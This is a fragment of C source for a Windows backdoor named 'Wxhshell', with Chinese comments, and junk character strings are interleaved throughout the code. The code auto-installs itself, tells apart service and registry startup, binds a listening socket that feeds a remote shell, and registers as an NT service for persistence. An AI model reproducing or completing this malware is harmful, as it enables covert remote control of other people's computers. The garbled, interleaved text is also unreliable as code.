"fp$ Ws_RS% HMODULE hMod; qJ\tc\ char procName[255]; g(9\r unsigned long cbNeeded; N|G=n9p Zjo8/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k{fTqKS%h qT
U(]O1 CloseHandle(hProcess); O^tH43C !kzC1U if(strstr(procName,"services")) return 1; // 以服务启动 86.LkwlqoH xUp[)B6?: return 0; // 注册表启动 OIT9.c0h } W6=j^nv fevLu[, // 主模块 oN0p$/La int StartWxhshell(LPSTR lpCmdLine) z%
ln} { /~k)#44 SOCKET wsl; v&.`^O3W BOOL val=TRUE; >O7ITy int port=0; ]{`
8C struct sockaddr_in door; In%K 8UAbTqB- if(wscfg.ws_autoins) Install(); ulc m X<6Ro
es2 port=atoi(lpCmdLine); Mo4#UV <ZF,3~v? if(port<=0) port=wscfg.ws_port; F0cde |sa{!tKJ
WSADATA data; NS^(5g if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; caK<;bmu- @O~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;H%&Jht setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T2;%@Ghc door.sin_family = AF_INET; hWzjn5w3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); .kv/db door.sin_port = htons(port); $}{u6*u., urJ>dw?FI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O{0TS^ closesocket(wsl); FW?zJ return 1; s n|q
EH } qN hV zx a!`b`r-4 if(listen(wsl,2) == INVALID_SOCKET) { 6##}zfl closesocket(wsl); D4CN%^? return 1; t>W^^'=E } SAuZWA4g[ Wxhshell(wsl); 76Drhh( WSACleanup(); tb%u<jY uxbDRlOS return 0; |*~=w J_ kG =nDy } rZ.,\ X_ kh11Y1Q0d // 以NT服务方式启动 qbrf;` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yMdAe>@ { 6usy0g
D DWORD status = 0; lq4vX^S DWORD specificError = 0xfffffff; Lk%u(duU^ 6$]p;}# serviceStatus.dwServiceType = SERVICE_WIN32; ?dWfupO{ serviceStatus.dwCurrentState = SERVICE_START_PENDING;
2r3]DrpJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ] D(laqS;" serviceStatus.dwWin32ExitCode = 0; ?DN4j!/$ serviceStatus.dwServiceSpecificExitCode = 0; $_2S,3 } serviceStatus.dwCheckPoint = 0; R@h@@lSf serviceStatus.dwWaitHint = 0; IW48Sg 'f+g`t? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z0f0tL&A< if (hServiceStatusHandle==0) return; MNy)= d&<P >e]46K status = GetLastError(); %]>LnbM>4 if (status!=NO_ERROR) @iC,0AK4k { a@1r3az serviceStatus.dwCurrentState = SERVICE_STOPPED; ?J;* serviceStatus.dwCheckPoint = 0; %s]l^RZ serviceStatus.dwWaitHint = 0; c=S-g 9J serviceStatus.dwWin32ExitCode = status; |!0R"lv'u serviceStatus.dwServiceSpecificExitCode = specificError; z8#c!h<@; SetServiceStatus(hServiceStatusHandle, &serviceStatus); $6~
\xe= return; 5H+S= } R~jV U}c[oA serviceStatus.dwCurrentState = SERVICE_RUNNING; un+U_|>c serviceStatus.dwCheckPoint = 0; }]-SAM serviceStatus.dwWaitHint = 0; c$<7&{Pb if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =r<0l= } \\j98(i 0(owFNUBs // 处理NT服务事件,比如:启动、停止 *`}4]OGv. VOID WINAPI NTServiceHandler(DWORD fdwControl) {{FA"NW { -:O~J#D switch(fdwControl) VrV* -J' { NW}kvZ case SERVICE_CONTROL_STOP: W#pA W serviceStatus.dwWin32ExitCode = 0; 7l-`k serviceStatus.dwCurrentState = SERVICE_STOPPED; PI"&-lXI-m serviceStatus.dwCheckPoint = 0; ?0Xt | serviceStatus.dwWaitHint = 0; <lk_]+ XJ3 { "@xF(fyg SetServiceStatus(hServiceStatusHandle, &serviceStatus); l:!4^>SC } $(2c0S{ 1 return; /]/3)@wT case SERVICE_CONTROL_PAUSE: :U5>. ): serviceStatus.dwCurrentState = SERVICE_PAUSED; ^k&T |